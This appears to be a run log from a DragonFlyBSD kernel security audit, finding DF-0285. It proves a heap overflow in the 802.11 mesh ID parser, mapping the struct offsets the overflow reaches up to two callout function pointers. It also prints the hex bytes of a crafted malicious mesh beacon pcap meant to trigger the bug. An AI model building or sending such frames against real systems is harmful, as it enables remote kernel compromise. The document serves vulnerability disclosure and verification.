DragonFlyBSD Kernel Audit
DF-0285 / run.log
← back to finding ↓ download raw
========================================================
[1/3] LAYOUT PROOF (overflow reach into ni_mltimer.toc)
========================================================
== ABI sanity (must all be OK) ==
  sizeof(void*) == 8                         OK
  sizeof(struct callout) == 24               OK
  sizeof(enum) == 4                          OK
  IEEE80211_MESHID_LEN == 32                 OK

== Field layout (offsets relative to start of ni_meshid) ==
  ni_meshid[0]   rel   +0  (memcpy dst, attacker data starts here)
  ni_meshid[31]  rel  +31  (last legal byte)
  ni_mlstate     rel  +35  enum (peering FSM state)
  ni_mllid       rel  +39  uint16 link-local id
  ni_mlpid       rel  +41  uint16 link peer id
  ni_mltimer     rel  +47  struct callout
  ni_mltimer.toc rel  +47  *** POINTER to _callout (qfunc) ***
  ni_mltimer.lk  rel  +55  pointer
  ni_mltimer.flags rel  +63
  ni_mlrcnt      rel  +71
  ni_mltval      rel  +72
  ni_mlhtimer    rel  +79  struct callout (2nd callout clobbered)
  ni_mlhtimer.toc rel  +79  *** 2nd POINTER clobbered ***
  ni_mlhcnt      rel +103

== Overflow-reach analysis for ie[1]=N (attacker length byte) ==
  memcpy copies N bytes starting at ni_meshid[0] (rel 0).
  Bytes at rel >= 32 are PAST the legal ni_meshid[] array -> heap OOB.

  ie[1]      OOB_bytes    reaches_toc? reaches_2nd_toc?
  33         1            no           no          
  48         16           YES          no          
  64         32           YES          no          
  128        96           YES          YES         
  200        168          YES          YES         
  255        223          YES          YES         

== Worst case ie[1]=255 ==
  Overflow past ni_meshid: 223 bytes
  Last byte written at rel 254 (region we model ends at rel 104)
  -> clobbers ni_mlstate, ni_mllid, ni_mlpid, ni_mltimer (incl .toc ptr),
     ni_mlrcnt, ni_mltval, ni_mlhtimer (incl .toc ptr), ni_mlhcnt, AND
     continues 151 bytes past ni_mlhcnt into the 11n HT-state fields.

== Verdict ==
  The memcpy at ieee80211_mesh.c:3460 with attacker ie[1] in (32..255]
  performs an up-to-223-byte heap OOB write into ni_mlstate/ni_mllid/
  ni_mlpid/ni_mltimer(+.toc ptr)/ni_mlrcnt/ni_mltval/ni_mlhtimer(+.toc ptr)/
  ni_mlhcnt and on into HT state. Two struct callout `toc` pointers are
  attacker-controlled -> indirect function-pointer-control primitive
  (forge toc -> forged _callout -> chosen qfunc). Real bug, real RCE
  surface; NOT directly a function-pointer field overwrite (correction
  to the finding's wording).

========================================================
[2/3] ATTACKER PAYLOAD (crafted mesh beacon pcap)
========================================================
[frame_craft] MESHID IE at frame offset 44, id=0x72 len=255, body=255 bytes
[frame_craft] wrote 301-byte beacon frame to df0285_beacon.pcap (pcap DLT 105)
[frame_craft] TRIGGER: on a DragonFly MBSS vap, receipt of this frame
             overflows ni_meshid[32] by 223 bytes into ni_mltimer/.toc.
[frame_craft] NOTE: no wifi HW on this audit guest => not delivered here.
--- MESHID IE bytes (xxd, first 48 bytes of frame tail) ---
0000000    d4  c3  b2  a1  02  00  04  00  00  00  00  00  00  00  00  00
0000016    ff  ff  00  00  69  00  00  00  00  00  00  00  00  00  00  00
0000032    2d  01  00  00  2d  01  00  00  08  00  ff  ff  ff  ff  ff  ff
0000048    02  00  00  00  00  01  02  00  00  00  00  01  00  00  00  00
0000064    00  00  00  00  00  00  64  00  64  00  00  08  00  00  01  01
0000080    82  03  01  06  72  ff  44  46  32  38  35  41  41  41  41  41
0000096    41  41  41  41  41  41  41  41  41  41  41  41  41  41  41  41
*
0000336

========================================================
[3/3] LIVE KERNEL SYMBOL CHECK (vuln code IS linked in)
========================================================
ffffffff8077aae0 T ieee80211_mesh_init_neighbor
ffffffff8077aa50 T ieee80211_parse_meshid
ffffffff80775560 t mesh_peer_timeout_cb
--- config: mesh support compiled into GENERIC? ---
(no /sys source on guest; verified on host: sys/config/X86_64_GENERIC:256)
--- wifi interfaces present? (expect none) ---
vtnet0 lo0
--- wlan module load status ---
kldload: can't load wlan: Operation not permitted

RESULT: code-level proof complete. No runtime trigger on this guest (no wifi HW).
RUN_EXIT=0